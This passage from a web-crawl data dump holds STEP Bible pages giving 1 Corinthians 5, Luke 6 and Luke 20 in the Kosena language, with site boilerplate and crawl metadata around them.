runs both a 'Hebrew word search' and a 'Text' search and shows the results in both the NIV and ESV.\nESVthroneDavidIsa-Rev\nYou can mix most searches. This finds any word translated as 'throne' in the Prophets and the New Testament, but only in verses concerning the topic 'David'. This excludes verses which refer to a 'throne' in other contexts.\nKJVWHNUJohn 1\nInterlinear Hebrew & Greek is available for some translations with grammar (and more soon). To reverse the interlinear order, click on a version abbreviation under the verse number.\n© Tyndale House, Cambridge, UK - 2018","id":"","dump":"CC-MAIN-2018-17","url":"https:\/\/www.stepbible.org\/?q=version=KZE%7Creference=Luk.2","date":"2018-04-19T10:07:02Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-17\/segments\/1524125936833.6\/warc\/CC-MAIN-20180419091546-20180419111546-00673.warc.gz","language":"kze","language_score":0.9999839067,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"kze_Latn_score\": 0.9999839067459106}","num_words":865,"character_repetition_ratio":0.052,"word_repetition_ratio":0.0,"special_characters_ratio":0.147,"stopwords_ratio":0.094,"flagged_words_ratio":0.0,"lang_id_score":0.996,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1 Corinthians 5\navowán-awaininkomba mairáin-kwasai.1 keinárawapinkemba moóráwai anómba sáwíꞋa éna avowán-awaininkomba mairáiye sewaꞋá ísaraumne. keinárawaꞋa Áánútun-aaiyaveꞋa áraire kwésewai mirá-sáwíꞋó kwéiwaintaveꞋa étuwaao íma sewaná úwoi mirá kwéimbanivo Áánútuna aambó ímo kwégwaraawai íma mirá kwéesa mirámó kwéowaiyavesa sáwí-meyamba mayánááowe kwésewe. 2 keinárawapimba moóráwai ména anó-sawiꞋa kwéisaꞋa kaweꞋá umáíya máyaumne kampaꞋá kwéseꞋa kentúma maé kwéiyovo sáwíꞋa uráin-kwaasiyavena kentirunkómó umbaimó táínaꞋa minkwáásí aiꞋmátuwaaro. 3 kemó kentópaꞋo komékai minánó-sáwíꞋó uráiwaimba aaivimbá mayankéꞋa sáwíꞋa kwéone súsina. kemá némpaꞋa méꞋa kesí imáyáao kentópaꞋa kwáyáísaꞋa misáwíꞋó uráiwaimba áꞋa aaivimbá mayánkaraumne. 4 torupamáímo maíyampimba kesí imáyáao kentópaꞋa kwáyainana Ísóigo Ísuna asirayámbá keinárawate kwáyáintaveꞋa misáwíꞋó uráiwaimba aaivimbá mayánkáaro. 5 Áánútuna kwaási kárákwiraampinkemba aiꞋmátuwenana Sáátáánigo umbai-yántááꞋá amínana sáwí-amba tuwáinana Ísóigo Ísumo kumíndaraꞋa kwembá airáníntaveꞋa mirá éꞋa aaivimbá mayankéꞋa aúwáaro.\n6 kaweꞋá umáíya máyaumne kwéseꞋa makáawanamo moórá-kisaamo kampindénamo imbá amápa-kisaavaꞋo kóyáwé intembá keinárawapimba moóráwai miráumai sáwíꞋo índawai keinárawapimba tivó séꞋa aiꞋmátuwaaro. 7 tíyótaasa-tanon-kanaa tóyo ésa Yútaa-kwaasi toómbó intóráín-tantaaꞋa tuwésa aúná-tomba marésa sipisípi-araaꞋa tuvúꞋmái kwénaawe. miráumai Ísu Káráísiti kentááyáváíyé séna pukáimba póꞋa aúnáiꞋa umái méꞋa mindáyaveꞋa misáwíꞋó uráimba kwétuweꞋa kaweꞋá umái máéro. 8 sáwíꞋo kwéone sáwí-yantaatavaiye íma aamoí éꞋa kawe-tántáátáváíyé árair-aintavaiye suꞋmai aamoí oró.\n9 ááéma moórá-auvai agaimái simátimeꞋa séꞋa aarai-úmóyáné kwaai-úmóyáné kwéowaise íma máéro siráunda 10 mináímbó siráunda Áánútuna kwaásivinkembo mirámó kwéowaise íma máéro siráumne. ÁánútunopaꞋo ímo tiráan-kwaasi aarai-úmóyáné kwaai-úmóyáné óꞋon-oꞋon-tantaar-umoyane túran-andawe ésa marapá-tántáátávésa aamoí ésa íma Áánútuntavesa aamoí ésa mirámó kwéon-kwaasiyaveꞋa íma séꞋa Áánútuna kwaásivakewaimo mirámó iíyávéꞋa siráumne. ÁánútunopaꞋo ímo tiráan-kwaasi amápaꞋ-maravaꞋo máyáamba íma tiyuwéꞋa miwísé úwoi máéro. 11 ánivo agaimakáunda-ainkona ááimba maarán-áímbán-iye. moóráwai Áánútuna kwaási úne kwésiwai aarai-úmóyáné óꞋon-oꞋon-tantaar-umoyane aúran-andawe éna marapá-tántáátávéna aamoí éna Áánútuntavena íma aamoí éna simái túwíꞋa sáwíꞋo umátinkena uwoꞋaóꞋ-nómbá néna uwoꞋaóꞋá kwéiwaise íma méꞋa kwesé íma toómbá naaró. agaimakáunda-ainkona ááimba mirán-áíntávéꞋa siráundawe.\n12 ímo ÁánútunopaꞋo tiráawai kemá íma aaivimbá maitinkánaumpo Áánútu aaivimbó maitinkánímba mindá kwendéímán-iye. keinárawapinkemba Áánútuna kwaási sáwíꞋo uráawai aaivimbá maitínkáaro. keinárawapinkemba moóráwai misáwíꞋó uráindawaimba aiꞋmátuwaaro.\nCopyright information for `KZE\nWelcome to STEP Bible\nFrom Tyndale House, Cambridge UK\nUse the search box to find Bibles, commentaries, passages, search terms, etc. Here are some examples:\nESVGen 1\nThis shows how to quickly lookup a passage.\nNIVESVKJVGen 1\nLooking up a passage in three different translations is also easy.\nESVbrother\nThis asks STEP to search for the Greek word for 'brother' and show the results in the ESV.\nNIVESVlandhe.sed\nThis example runs both a 'Hebrew word search' and a 'Text' search and shows the results in both the NIV and ESV.\nESVthroneDavidIsa-Rev\nYou can mix most searches. This finds any word translated as 'throne' in the Prophets and the New Testament, but only in verses concerning the topic 'David'. This excludes verses which refer to a 'throne' in other contexts.\nKJVWHNUJohn 1\nInterlinear Hebrew & Greek is available for some translations with grammar (and more soon). To reverse the interlinear order, click on a version abbreviation under the verse number.\n© Tyndale House, Cambridge, UK - 2018","id":"","dump":"CC-MAIN-2018-17","url":"https:\/\/www.stepbible.org\/?q=version=KZE%7Creference=1Cor.5","date":"2018-04-24T06:54:11Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-17\/segments\/1524125946565.64\/warc\/CC-MAIN-20180424061343-20180424081343-00513.warc.gz","language":"kze","language_score":0.999964118,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"kze_Latn_score\": 0.9999641180038452}","num_words":451,"character_repetition_ratio":0.059,"word_repetition_ratio":0.0,"special_characters_ratio":0.159,"stopwords_ratio":0.118,"flagged_words_ratio":0.0,"lang_id_score":0.999,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Luke 6\nÍsu savaatirár-áímbá siráin-kwasai.1 moórá-tawai Yútaa-kwaasi agándon-kanaaraꞋa Ísuwe kwená kwayó-kwáásíyé kígauvimba úwíti-ton-kigauvimba kwégwesa kwená kwayó-kwáásí úwíti-aramba kútúmai ásima pítuwesa kwénowasa 2 ámáán-kawaa-kwaasi évakaꞋa tuwánésa sésa agándaan-kanaama aambá áúmbakaawaꞋa nóra era mirá kwéoo suwaná 3 Ísu séna naaóváꞋá Tévítimo urómba aúváívimba agaimarón-ainkona ááimba íma ísaraawe. Tévítiye kwená kwaásiye táái kwétinkowana 4 Tévíti Áánútuna monoꞋ-náúmpáꞋá iyéna Áánútu aúrankaꞋo makón-tomba umairéna kwénena kwená kwaási timúwasa narááwe. mintómbá úwoi-kwaasi íma némáembanivo monoꞋ-máyáí máyón-kwaasi némáembani. Tévíti mintómbá umairéna timúwasa nonkáꞋá Áánútu íma áwááꞋa siráimbanivo kesí kwaási mirá kwéowaꞋa áwááꞋa ímo seráámbá áwááꞋa kwésewe. 5 kwíyómpakemba kwaási úrandaꞋa póꞋa agándai-kanaaraꞋo kárákwiraundawai úmpo agándai-kanaamo kwaásimo mayáí kwémayaamba kendéímán-iye Ísu siráiye.\nayáámba kawévaigurain-kwaasigona kwaasái.6 moórá-tawai Yútaa-kwaasi agándon-kaaaraꞋa Ísu monoꞋ-náúmpáꞋá iyéna kwésimatimuwana moóráwai ayáánúrapar-ayaamba kawévaiguron-kwaasi máyowasa 7 ámáán-kawaa-kwaasiye ámáámba sun-kwáásíyé mésa Ísuntavesa agándairaꞋa póna minkwáásímó kaweꞋó umánkainataamo éta tátoꞋmaiya aaivintá mayankánaumne sésa Ísumba awánomba 8 Ísu minímáyáámó umbá awánéna ayáámba kawévaiguron-kwaasiyavena séna usásine kemó máyaundaraꞋa umaiyó súwana usásinena ÍsunopaꞋa túrankaꞋa umaúwana 9 Ísu miwíyávéna séna moórá-aintaveꞋa tísaa ónáeꞋa súne. kentáásí ámáán-aimpimba nóin-aina kwáyáiyo. agándai-kanaaraꞋa póta kaweꞋ-máyáíyá kwémayaum. sáwí-mayaiya kwémayaumno. kwaási áwaꞋnaa onanayá kawerá umáíya méni. inkámónanaya puwíníyo tísaa ena súwasa íma aaí suwaná 10 Ísu móyuwana meyuwana éna ayáámba kawévaiguron-kwaasiyavena séna enayáámba árútuwaao súwana ayáámba árútuwowana kaweꞋá umánkowasa 11 miwí tirumbá ávááraumai sáwíꞋa úwasa nóra umáíya inkamónaumno sésa kemó máyómpimba iséise uráawe.\nÍsu kwená kwayóꞋnárawaꞋa tááyarain-kwasai.12 minkánáávímbá Ísu enónkaꞋa omápaꞋa uména íma aúmá kwaéna ÁánútumpaꞋa námúnaa símaena kwéiyuwana 13 móirarowana Ísun-ánaaemba kwarón-kwaasi tááyowasa íyúwana minkwáásívínkémbá sísamaivakemba kaeꞋá kumbaimái-kwaasi táámpámarena séna kesí aantá-kwaasin-owe séna túwíꞋa taráiye.\n14 miwí túwíꞋa téna moóráwai áwíꞋa Sáímoniye séna aúná-kwiꞋa tamámena Pítaawe súwana séna moóráwai Pítaa áváko áwíꞋa Éndaru moóráwai áwíꞋa Yémési moóráwai áwíꞋa Yóni moóráwai áwíꞋa Vírípi moóráwai áwíꞋa Pátóromu 15 moóráwai áwíꞋa Mátíyu moóráwai áwíꞋa Tómáasi moóráwai Árávíási ááninko áwíꞋa Yémési moóráwai áwíꞋa Sáímoni kwemá Árómáani-kamaani-kwaasi tiꞋmátuwanae siráiwai 16 moóráwai Yémési ááninko áwíꞋa Yútási moóráwai Yútási Isakéríóti kwemá naaémba Ísumba kwená namuro-kwáásíráꞋá agaráátínkaraiwai miráumai-kwaasi Ísu tááyaraiye.\nÍsu sáwíva-kwaasivimba mayáí mairáin-kwasai.17 omápakemba Ísu miwísé arúváꞋá kumbáyowasa kwenánaaemba kwarón-kwaasi sáwívarawaiye Yútiyaa-ayampakemba Yérúsaremu-naopakemba uwí-nón-awampakemba Táyaa-naopakemba Sáíntóni-naopakemba sáwíva-kwaasiye tamésa 18 Ísun-aai isánáe sésa tíꞋa ún-kwaasigwaraꞋa asóvamatinkainkwae sésa tóyo ésa taraváá-kwámbá tirumpimbá máyón-kwaasigwaraꞋa tóyo uwaná Ísu taraváá-kwámbá tirumpinkémbá maitiyuwówasa 19 tíꞋa ún-kwaasi Ísun-aneꞋa tátoraanana síꞋa ánásainkwae sésa mirá uwaná asirayámbá tokéna póna mintíꞋá asóvamatinkaraiye.\ntirunkó kaweꞋá éna sáwíꞋa éna ínín-kwasai.20 Ísu mirá umátiyuwena kwená kwayó-kwáásí tuwánéna séna keinárawaꞋa Áánútu súwaꞋnaa ínkwáe sewáí Áánútu kaweꞋá kwéumatinkena kwégawaaiye. 21 ívéꞋa táái kwétinkaiwai tirumbá etóyóí umái máéro. Áánútu kanaa umátinkaniye. ívéꞋa tirumbá sáwíꞋa kwéisasa iviꞋá kwétaawai tirumbá etóyóí umái máéro. tirumbá kaweꞋá ínaꞋa kwíráái sénááowe. 22 keinárawaꞋa kemá kwaási úrandaꞋa kumpaáruraundawaintaveꞋa asiramái máyáawai kwaási tínaaembo umátinkesa tíyámbo umátinkesa sáwí-aimbo simátinkesa sáwí-kwaasin-owe sénááomba tirumbá etóyóí umái máéro. 23 mirá íyaꞋa tirunkó kaweꞋá kwéinaꞋa imá kwéteꞋa kwíyómpakemba kentí kaweꞋ-méyámbá mayánááowe. naaóváꞋá miwítíkwáꞋná mirá ésa Áánútun-aai simátímakowai sáwíꞋa umátínkaraawe. 24 ánivo marapákén-tántááꞋá makáawaima kárákwiyoro. tirunkó kaweꞋá kwéin-tantaaꞋa áꞋa makáamba póꞋa íma moóráma kaweꞋ-méyámbá mayánááowe. 25 ívéꞋa tímúꞋa vaiwáí kárákwiyoro. naaémba táái tinkáníye. ívéꞋa kwíráái kwésewai kárákwiyoro. naaémba iviꞋá tánááowe. 26 naaóváꞋá kentíkwáꞋná kampar-áímbá simátímakowai túwíꞋa mósá makáamba pósa mirámó kwésesamo kentúwíꞋo mósá kwémarewaꞋo éꞋa kárákwiyoro Ísu siráiye.\nnamuro-kwáásí kaweꞋá umátínkáaro-kwasai.27 Ísu simásuwena séna kemó simátíménda-aimba ísáaro. kesááimo iséꞋo éꞋa kentí namuro-kwáásí tirumbá kaweꞋá umátinkeꞋa tíyámbo umátínkéwai kaweꞋá umátínkáaro. 28 sáwí-aimba simátínkéwai kaweꞋá umátínkáaro. sáwíꞋa umátínkéwaimo éꞋa ÁánútumpaꞋa námúnaa simái miwí túwaꞋnaa oro. 29 tááꞋo tuwausíyaꞋo éꞋa íma tinkaméꞋa ókwaraꞋa kwántá-timiyasa tuwausónááowe. kentí unáánkwátói mairésa sésa ókwaraꞋa mayánáe síyaꞋo éꞋa íma aꞋáo seró. 30 moórá-yantaatavaimo simiyó síyaꞋo éꞋa úwoi tíméro. kendéímo moórá-yantaaꞋo máyáíyaꞋo éꞋa íma usisiꞋá síméro seró. 31 kembó tirááímo táínda-iꞋo umáímo kwétuwaꞋnaa-iyaꞋa miwí miráumai túwaꞋnaa oro Ísu siráiye.\n32 Ísu simásuwena séna amáparawai kentí kwaásiti imáyáamo kwéowasamo ombá anondá miwítí imáyáa kwéowe. sáwíꞋo kwéon-kwaasi íma kawe-kwáásí ombánivo miwítí kwaásiti imáyáamo kwéowasamo ombá anondá miwítí imáyáa kwéowe. miráumaimo kentí kwaásiti imáyáawe suꞋmaimo kwéiyanamo éna Áánútu íma kaweꞋ-méyámbá timínívo kentí namuro-kwáásígwáráꞋá imáyáa tíméro. 33 amáparawai kaweꞋá kwéumatinkaan-kwaasi kaweꞋá kwéumatinkaawe. sáwí-kwaasigwaraꞋa mirá kwéowe. mirámó onten-umái kaweꞋó kwéumatinkaan-kwaasiye suꞋmaimo kaweꞋó umátínkéwanamo éna Áánútu íma kaweꞋá owé síníye. kentí namuro-kwáásígwáráꞋá kaweꞋá umátínkáaro. 34 sáwí-kwaasi naaémba siménááowe-imayaa ésa kwétimewe. naaémbo timénááon-kwaasiye suꞋmaimo timíyanamo éna Áánútu íma kaweꞋá owé síníye. naaémba siménááowe-imayaa íma éꞋa úwoi tíméro. 35 kentí namuro-kwáásí kaweꞋá umátinkeꞋa imáyáa tíméro. anondá simígwáe-imayaa íma éꞋa úwoi tíméro. mirámó íyambo éꞋa Áánútumpakemba kaweꞋ-méyámbá mayánááowe. Áánútu kwentávésa íma súwi sen-kwáásí úwoi kwétuwaꞋnaa-ena sáwí-kwaasigwaraꞋa mirá kwéisasa pósa kwaási keinárawaꞋa mirámó ombá tuwánésa sésa Áánútu kwíyómpakewai áánimbaaꞋa owé sénááówe. 36 kentivomá arumbá kwéumatinkaintemba mirá oró Ísu siráiye.\níma sáwí-aimba simátíméro siráin-kwasai.37 tuwánéꞋo éꞋa sáwí-kwaasiye síyanamo éna Áánútu kentáváígwáráꞋá mirá sínívo tuwánéꞋo éꞋa sáwí-kwaasiye sevó. umbai-yántááꞋó timíyanamo éna Áánútu kenkwáráꞋá mirá ínívo umbai-yántááꞋá tímévo. sáwíꞋo umátinkaiyaꞋo éꞋa mináímbá íma táákaꞋa maréꞋa tuwinkásuwaaro. mirámó íyanamo éna Áánútu kemó sáwíꞋo ombá maitiyuwáníye. 38 timíyantemba Áánútu anondá kembá timíníye. toómbó tíméwasamo nawááesamo aráávaraꞋo ontembá Áánútu mirá umái sáwíva-tantaaꞋa timíníye. miráumai tíméntemba Áánútu miráumai timíníye Ísu siráiye.\n39 Ísu simásuwena kwántámai-aimba séna moórá aúgavitawai moórá aúgavitawaimba ayáán-toꞋmaesarai íma kanaán-umai kóyááoivo mirámó ésaraimo ésarai aísavaꞋa tuvamóyááoiye. 40 kwená iyámpóímo agaráátínkáiwaimbo ombá íma kwembá kwéusayaaitaavo kwenáái ísámaesa kwemó inteníꞋa kwéowe Ísu siráiye.\n41 Ísu simásuwena séna kentúrampimba irarumbá kwáyáísaꞋo ombá íma awánaamba kentí kwaási tuwánéꞋa enaúrampimba ayaantambá kwáyáiye kwésevo íma mirá seró. 42 kentúrampimbo irarumbó ímo awánaamba nóra sera kentí kwaási túrampinkemba tiyaantambá maitiyuwánáe kwéseo. kaumbo-káér-ainkwara-kwaasin-ovo kentúrampinkemba irarumbá maisukéꞋa tuwánéꞋa kentí kwaási túrampinkemba tiyaantambá kanaán-umai maitiyuwánááowe Ísu siráiye.\ntaaigónté arankóntéi kwaasái.43 Ísu simásuwena séna kawe-táígó íma sáwí-aramba iyáísana sáwí-taigo íma kawer-árámbá kwéiyaivo 44 mintáígó arambá awánésa sáwí-taiye kawe-táíyé kwésewe. tekómo éna íma áwí-yantaaꞋa iyánívo téꞋa iyáníye. ampaantarígo avoꞋárén-aramba íma iyánívo ampaantarí-aramba iyáníye. 45 miráumai kawe-kwáásí kawer-ímáyáávínkémbá kaweꞋ-máyáí kwémayaavo sáwí-kwaasi sáwí-imayaavinkemba sáwí-mayai kwémayaawe. tirumpimbá kwáyáin-imayaanei kwésewe Ísu siráiye.\nnaambá kwéoyawairaiti kwaasái.46 Ísu simásuwena séna kentáváí anóndako óne kwésembanivo kemó simátimunda-aimba íma kwaꞋmái kaweꞋá kwéowe. 47 kesópaꞋo tésa kesáái isésa kaweꞋá umái kwégwaraiyawai mirán-kwáásímó simátíméndaraꞋa ísáaro. 48 naambá ónáe sésa maravímbá maiꞋá uꞋmaésa kumeémesa óntamba kunavakáá-ésa minkáꞋá naamayáámba aimái naambá úmaraiyana aaꞋá téna anón-kavirayan-domba kumínana mindámbá íma tawisínda asiramái kwéena óntankaꞋ-namba póna úwoi kwéniye. miráráán-umai kwaásimo kesópaꞋo tésa kesáái isésa kaweꞋá umái kwégwaraawai asiramái ménaaowe. 49 ánivo kesáímo isésamo ímo kaweꞋó umáímo kwéisaawaima mirán-kwáásímó simátíméndaraꞋa ísáaro. naambá ónáe sésa íma maiꞋá ukésa íyamba paákáꞋá úmakaiyana anón-aꞋa téna kavirayán-dómbá kuména mindámbá tawísíyuwainana sáwíꞋa íníye. miráráán-umai ímo kesááimo ísámaimo kaweꞋó íyawai íma asiramái ménaaowe Ísu siráiye.\nCopyright information for `KZE\nWelcome to STEP Bible\nFrom Tyndale House, Cambridge UK\nUse the search box to find Bibles, commentaries, passages, search terms, etc. Here are some examples:\nESVGen 1\nThis shows how to quickly lookup a passage.\nNIVESVKJVGen 1\nLooking up a passage in three different translations is also easy.\nESVbrother\nThis asks STEP to search for the Greek word for 'brother' and show the results in the ESV.\nNIVESVlandhe.sed\nESVthroneDavidIsa-Rev\nKJVWHNUJohn 1\n© Tyndale House, Cambridge, UK - 2018","id":"","dump":"CC-MAIN-2018-17","url":"https:\/\/www.stepbible.org\/?q=version=KZE%7Creference=Luk.6","date":"2018-04-19T09:52:36Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-17\/segments\/1524125936833.6\/warc\/CC-MAIN-20180419091546-20180419111546-00677.warc.gz","language":"kze","language_score":1.0000069141,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"kze_Latn_score\": 1.000006914138794}","num_words":1059,"character_repetition_ratio":0.053,"word_repetition_ratio":0.0,"special_characters_ratio":0.153,"stopwords_ratio":0.186,"flagged_words_ratio":0.0,"lang_id_score":0.999,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Luke 20\nnááwa aiꞋmákaisa tiráano siráan-kwasai.1 moórá-tawai Ísu anóm-bonoꞋ-naumpaꞋa uména Áánútuna áséi-kwasai kwésimatimuwasa mono-káwáá-kwáásíyé ámáámba sun-kwáásíyé Yútaa-anon-kwaasiye tésa 2 sésa nááwa aiꞋmákaisa tiréwa nááwampinkena mairéwa égési-mayai kwémayaanda simásimiyo suwaná 3 Ísu séna aivaꞋá moórá-aimba tísaa onaꞋá simásíméro. 4 ááéma Yóni nombá pétinkaraiwaima Áánútuwa simámakaisana nombá pétinkarai. kwaásiya simámakaawana nombá pétinkaraiyo súwasa 5 miwímá keáímbá sésa nórayaawa sénaumno. Áánútu simámakaisana nombá pétinkaraiyemo senanayáámó éna nóra séra Yónin-aaiyaveꞋa íma áraire siráao síníye. 6 kwaási simámakaawana nombá pétinkaraiyemo senasayáámó ésa úwoi-kwaasi sínkamonaaowe. úwoi-kwaasi sáwíva-kwaasi Yónintavesa sésa Áánútun-aai simásímakaiwai uráiye kwésemba pósa óntantamba mairésa sínkamonaaowe. 7 Ísuntavesa sésa emó sísaa ónda-ainta íma ísaraumne suwaná 8 Ísu séna ímo simásimiyaꞋa nááwampinkena mairéraꞋi. égési-mayai kwémayaunda-aimba íma simátimenaumne Ísu siráiye.\nándá-aran-kigauraꞋo tavíyéwaiti kwaasái.9 Ísu kwántámai-aimba simátimena séna moóráwai ándá-aran-kigau úmarena ayáátáákaꞋa óꞋom-baravaꞋa koménae séna maankígáúráꞋó taviyíyawaimo éꞋa kesáváí évakar-aramba maéꞋa évakaꞋa kembá siyúwáaro simátimena óꞋom-bapaꞋa komáyáísana 10 arambó ávumo kain-kánáá tisaná aanávómá kesí ándá-aramba komayaaó séna kwená kwayóꞋnáꞋá aiꞋmáráísana minkígáúráꞋó tavíyéwaitopaꞋa tisasá tátoꞋmai tuvúꞋmaresa ándá-aramba íma ámémba aiꞋmátuwaawana kówisana 11 aanávómá moóráwaimba aiꞋmáráísana tisasá minkígáúráꞋó tavíyéwai tátoꞋmai tuvúꞋmaresa sáwíꞋa umánkesa ándá-aramba íma ámémba aiꞋmátuwaawana kówisana 12 aanávómá moóráwaimba aiꞋmáráísana tisasá tátoꞋmai tuvúꞋmárááwana naaemá kúmísasa awéntayuwaawana kówisana 13 aanávómá séna nóra ónaumno. kesááninko imáyáa ámakaundawaimba aiꞋmáráanana kwínasa kwenáái isánááowe séna aiꞋmáráísana tisasá 14 minkígáúráꞋó tavíyéwai awánésa keáímbá sésa aanávómbá ááninko kwétimba póta tuvúwónana puwéna maankígáú íma mayáínata kesáá mayánáe sésa 15 tátoꞋmai ándá-aran-kigauvakemba awéntáyuwesa tuvúwówana pukáiye. Ísu mináímbá simásuwena séna minkígáúgó aanávómá mirá íníye. 16 téna kígauraꞋo tavíyéwaima tínkaminasa puwíyana óꞋonkaa-kwaasi kesí kígauraꞋa tavíyéro síníye Ísu súwasa mináímbá isésa sésa íma mirá oró suwaná 17 Ísu árimba tuwánéna tísaa umai isánáe séna imáyáa oró séna Áánútun-aai aúváí-kwandaaivimba maarán-áímbá agaimaréna séna eróntan-damba on-kwáásí moórá-ontantavesa sáwíꞋa kwéiye sésa maisukáawe. aáno minóntánkó ávonkaamba uráiye\nagaimaréna siráimba mináíntávéꞋa imáyáa oró. 18 kwíyamba minóntánkáꞋá tanaambá kovésa sáwíꞋa umái ménaaovo minóntánkó tuvúꞋmái sáwíꞋa umásuwaniye Ísu súwasa 19 mono-káwáá-kwáásíyé ámáámba sun-kwáásíyé simbá kentááyávéna siyé sésa tátoꞋmai tuvuwónáe sésa umbá amápa-kwaasiyavena tááꞋa kówasa ivátukaawe.\ntáákísi-aintavesa áísaa uráan-kwasai.20 ivátuwesa tátoranaaon-kanaa kárákwiyesa évakarawai tiꞋmarésa sésa Ísun-aai kwéisaan-kwaasimo ontembá téꞋa áísaa íyana sáwí-aimbo sínata tátoꞋmai kámááni-kawaanakonopaꞋa móankanaumne sésa tiꞋmárówasa ÍsunopaꞋa tésa 21 sésa anóndakoo árair-aimba kwése kwaási táároi íma inkaisé anón-kwaasiye úwoi-kwaasiye táároi íma inkaisé tirumbá airáꞋmái-aimba íma séma Áánútuna aambó kwáráan-aimba arupí umái kwésimatimendaya ísaraumne. 22 emá nóra se kwéisaano. kanaarátááwá táákísi-ontamba Árómáani-kamaani-kwaasiya timénaum. íya timénaumno. timénaundaya Yútaa-kwaasiya kentáásí ámáána araaisénaundayaꞋiyompo timénaum. íya timénaumno suwaná 23 Ísu miwí tááma iséna séna 24 moórá-ontamba maimái máagaraasinkaaro súwasa maimái máagaraarankowana séna nááwa óikaana uráinkara áwíꞋa kwáyáiyo súwasa Árómáani-kamaani-kawaanako óikaamba isaná áwíꞋa kwáyáiye suwaná 25 Árómáani-kamaani-kawaanakondei kwembá áméro. Áánútundei Áánútumba áméro súwasa 26 mináímbá ísówana tááꞋa kówasa íma aaí siráawe. Ísu kwaási túrankaꞋa ména íma sáwí-aimba súwasa pósa íma aaí sésa tátokaawe.\npukémpinkemba usásinanaaon-kwasai.27 íma tátowasa Sátúsi-monor-aimbo sun-kwáásí púwómpinkemba íma usásinanaaowe kwésun-kwaasi pósa ÍsunopaꞋa tésa 28 sésa anóndakoo naaóváꞋá Mósesi séna moóráwai aaraí maimakéna iyámpói íma ankéna púwísana ávákoma maimakéna awaaóná anondáwe séna iyámpói ankáníye siráiye. 29 moórá-aimba isaaó. moórá-tawai avakaeté-avarawainonda mésa tuwaaómá aaraí maimakéna iyámpói íma ankéna púwísana 30 kwenánaaenkewai kwareꞋá maimakéna iyámpói íma ankéna púwísana 31 kwenánaaenkewai kwareꞋá maimakéna iyámpói íma ankéna púwísana mirá eémesa avakaeté-kwaasi putásaawana 32 minínímbá naaémba pukáiye simásuwesa 33 Ísumba áísaa esa sésa mirámó ombá kwaásimo puwíyampinkembo usásinaiya-tawai minínímbá avakaeté-kwaasi tuwainímbá póna nááwa mayáníyo suwaná 34 Ísu séna marapáꞋá máyáan-kwaasi aaraí máyáawasa kwaaí máyáawasa tiyáámúmbaaꞋa kwétokwaa-esa kwéowe. 35 Áánútu tááyena séna pukémpinkemba usásineꞋa kwíyómpaꞋa uménaaowe siráimba minínínákwáꞋá kwíyómpaꞋa uménaaomba aaraí íma mayáíyasa kwaaí íma mayáíyasa ónááowe. 36 Áánútuna kwayóꞋnárawaꞋo kwíyómpaꞋo mésamo ímo kwévuwontemba minkwáásí mirá ésa íma ókwaraꞋa puwónááowe. pukémpinkemba usásinanaaomba Áánútuna kwaásiman-owe. 37 kwaási pukémpinkemba usásinanaaomba Mósesi mináíntávéna agaimakáiye. aúváívimba agaimaréna séna áru-tairaꞋa iramá kaimbá íma mintáímá kágwisana mintáívínkémbá Áánútu Mósesintavena séna Áánútu úne. enaíkwáꞋná Ááváramune Áísákaane Yákópone miwítí Áánútu úne siráiye. Áánútú mináímbá siráimba minkáúmbó-kwáásí áꞋa púwúwasa utamátínkaraambanivo 38 mináímbá siráimba pósa miwí úwoi máyáawe. Áánútu aúrankaꞋa amáparawai máyáawe Ísu súwasa 39 ámáámba sun-kwáásí sésa anóndakoo kawer-áímbá simásimakaane suwaná 40 Ísun-aaiyavena tááꞋa kóntavesa íma áísaa úmaesa iráawe.\nÁánútumo usásinankaiwai Káráísitina kwaasái.41 íma áísaa úmaesa íyúwana Ísu séna Káráísitima Tévíti-andaraken-kwaasiman-iye kwésevo 42 naaóváꞋá Tévítima Káráísitintavena séna kesí Ísóigoman-iye siráimba monor-ímá agaimakón-auvai-kwandaaivimba Tévíti agaimaréna séna erkesí Ísóigontavena Áánútu séna kesiyáánúrapaꞋa asirayán-áyámpáꞋá 43 maraꞋá ménaꞋa ená namuro-kwáásí usáyaaitaanasa miwí ánásanaaowe\nÁánútumo siráin-aimba Tévíti siráiye. 44 miráumai Tévíti Káráísitintavena séna kesí Ísóigoman-iye siráimbanivo nóraumaiya kwemá Tévítin-andaraken-kwaasiman-iye Ísu súmba Káráísiti Tévítina Ísóigoma éna Tévítin-andaraken-kwaasigoman-iye.\námáámba sen-kwáásítí aambá kwáráavo siráin-kwasai.45 sáwíva-kwaasi mináímbá kwéisowana Ísu kwená kwayó-kwáásíyávéna séna 46 évakaꞋo ámáámbo sen-kwáásítí aambá kwáráávo. minkwáásí ayáátáár-ampantama iyésa naaópaꞋa avuvumpaꞋá kwénaaowasa pósa kwaási tuwánésa sésa anón-kwaasiman-owe kwésewe. minkwáásí monoꞋ-náúmpáꞋó umáyáapaꞋa anón-kwaasimo maí-áyámpáꞋá umésa tanómbo kaúvópaꞋo máyáapaꞋa kawer-áyámpáꞋá mésa kawe-tómbá kwénaawe. 47 minkwáásí ketor-íníntí óísankwara naankwaráꞋá umóyámbá kwémaesa kwaási suwánésa súwíꞋa mósá maráígwáe sésa kampakómbá tavisimái-namunaa kwésewe. mirámó owáíná anondá umbai-yántááꞋá mayánááowe Ísu siráiye.\nCopyright information for `KZE\nWelcome to STEP Bible\nFrom Tyndale House, Cambridge UK\nUse the search box to find Bibles, commentaries, passages, search terms, etc. Here are some examples:\nESVGen 1\nThis shows how to quickly lookup a passage.\nNIVESVKJVGen 1\nLooking up a passage in three different translations is also easy.\nESVbrother\nThis asks STEP to search for the Greek word for 'brother' and show the results in the ESV.\nNIVESVlandhe.sed\nThis example runs both a 'Hebrew word search' and a 'Text' search and shows the results in both the NIV and ESV.\nESVthroneDavidIsa-Rev\nYou can mix most searches. This finds any word translated as 'throne' in the Prophets and the New Testament, but only in verses concerning the topic 'David'. This excludes verses which refer to a 'throne' in other contexts.\nKJVWHNUJohn 1\nInterlinear Hebrew & Greek is available for some translations with grammar (and more soon). To reverse the interlinear order, click on a version abbreviation under the verse number.\n© Tyndale House, Cambridge, UK - 